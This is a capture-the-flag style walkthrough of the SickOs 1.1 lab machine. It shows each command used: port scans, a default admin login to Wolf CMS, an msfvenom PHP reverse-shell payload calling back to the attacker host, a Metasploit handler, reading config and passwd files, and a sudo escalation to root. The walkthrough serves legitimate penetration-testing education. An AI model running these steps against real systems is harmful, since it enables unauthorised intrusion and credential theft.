SickOs 1.1 Walkthrough

Introduction

Today we're going to do a boot2root pentest walkthrough of the SickOs 1.1 machine, created by D4rk and hosted at https://www.vulnhub.com/entry/sickos-11,132/ .

For this pentest, we'll be using two virtual machines, a Kali Linux machine as our attacking system, and the SickOs 1.1 machine as the target system. 

Locating the Target

After booting up both virtual machines, we want to locate the IP address of the target system on the network by running netdiscover from our attacking system.

netdiscover -r 

The target is at 10.0.2.24.

Scanning and Enumeration

We start our scans by determining open TCP and UPD ports on the target system with nmap.

nmap -T4 -p- 10.0.2.24 ; nmap -T4 -sU -F 10.0.2.24

Some unusual findings. Looks like the http server on the target is running on port 3128, which is a non-standard port. We should make some adjustments to the proxy settings in our web browser (Firefox).

Now when we navigate to the target's webpage, it will resolve properly. Next, we'll run a Nikto scan against the target's webserver through the proxy.

nikto -userproxy http://10.0.2.24:3128/ -h 10.0.2.24

A couple of findings here. We'll want to look at the robots.txt file when we check out the target's webpage, and the target system may be vulnerable to ‘shellshock’, which is a special type of exploit. For now, we'll go to the target's webpage.

http://10.0.2.24

Not much here.  We then check out the robots.txt page.

http://10.0.2.24/robots.txt <----- your browser may direct us to the https version of the page. Simply edit the “s” out of the address and try again.

This provides a new page for us to check.

http://10.0.2.24/wolfcms/

The target system is using an app called Wolf as a CMS (Content Management System). We do a bit of research on Wolf CMS and find out where the default admin page is, then navigate there.

http://10.0.2.24/?/admin/login

A little bit of tinkering, and it turns out that guessing the username admin, and the password admin works to log us in.

admin
admin

Now that we're logged in, we're immediately able to enumerate the version of Wolf CMS the target has installed. With this info, we do a search to see if there's any exploit associated with Wolf CMS 0.8.2. We soon find the following on exploit-db.com.

https://www.exploit-db.com/exploits/38000

According to the article, we can navigate to the /wolfcms/?/admin/plugin/file_manager/browse/ page on the target system and upload a php file to the webserver, and thereafter we can access that php file from the /wolfcms/public/ page on the target website. What we want to do is upload a php page that gives us a reverse shell on our attacking system. We can use msfvenom to do this.

msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.2.4 lport=4242 -f raw -o /root/wolfshell.php

Now we login to Wolf CMS as the admin user, then navigate to the page where we can upload the php file.

http://10.0.2.24/wolfcms/?/admin/login/

admin

admin

http://10.0.2.24/wolfcms/?/admin/plugin/file_manager/browse/

Upload file

Browse

wolfshell.php

Upload

Now our php file is located on the webserver. The next step is to setup a handler on our attacking system using Metasploit.

msfconsole
use exploit/multi/handler
options
set lhost 10.0.2.4
set lport 4242
set payload php/meterpreter/reverse_tcp

Now to open up our wolfshell.php file on our attacking web browser.

http://10.0.2.24/wolfcms/public/wolfshell.php

And then back to Metasploit to start our handler.

run

At this point, our Meterpreter session seemed to hang a bit, without opening, so we reloaded the wolfshell.php page in our web browser, and that seemed to fix it.

Privilege Escalation

Now that we're in, we can drop into a regular web shell, then upgrade to a TTY shell using a Python one-liner command, followed by an adjustment to the terminal.

shell
python -c ‘import pty; pty.spawn("/bin/bash")’
export TERM=screen

We navigate to the base directory of the Wolf CMS app and take a look around.  Seeing the config.php file, we cat it out.

cd ..

ls

cat config.php

These might be the actual credentials for the root account on the system, but trying them out, that isn't the case.  Not to give up so easily, the password may match another user on the system, so we cat out the /etc/passwd file to identify other users.

cat /etc/passwd

The sickos user stands out because they seem to have high privileges on the system. We try switching to that user using the password we found in config.php, and it works. Checking sickos' elevated commands using sudo -l, we find that this user is a Sudoer, so we can use this account to capture the system's flag file.

su sickos
john@123
sudo -l
john@123

Since flag files are usually located in the /root/ directory, we switch to the root account, then navigate there and take a look around.  Seeing the flag file there, we cat it out.

sudo su

cd /root

ls

cat a0216ea4d51874464078c618298b1367.txt

Summary

After our initial scans, we found that the target was running a webserver on a non-standard port, which affected how we conducted scans and enumeration. The robots.txt file on the targets webpage directed us to a vulnerable CMS app that the systemw as using, and we took advantage of an exploit in the CMS to upload a maliicious file onto the webserver, which we used to gain a reverse shell on the system. Once in, we were able to capture credentials from a config file and switch user accounts to a Sudoer account, which enabled us to capture the target's flag file.

Finish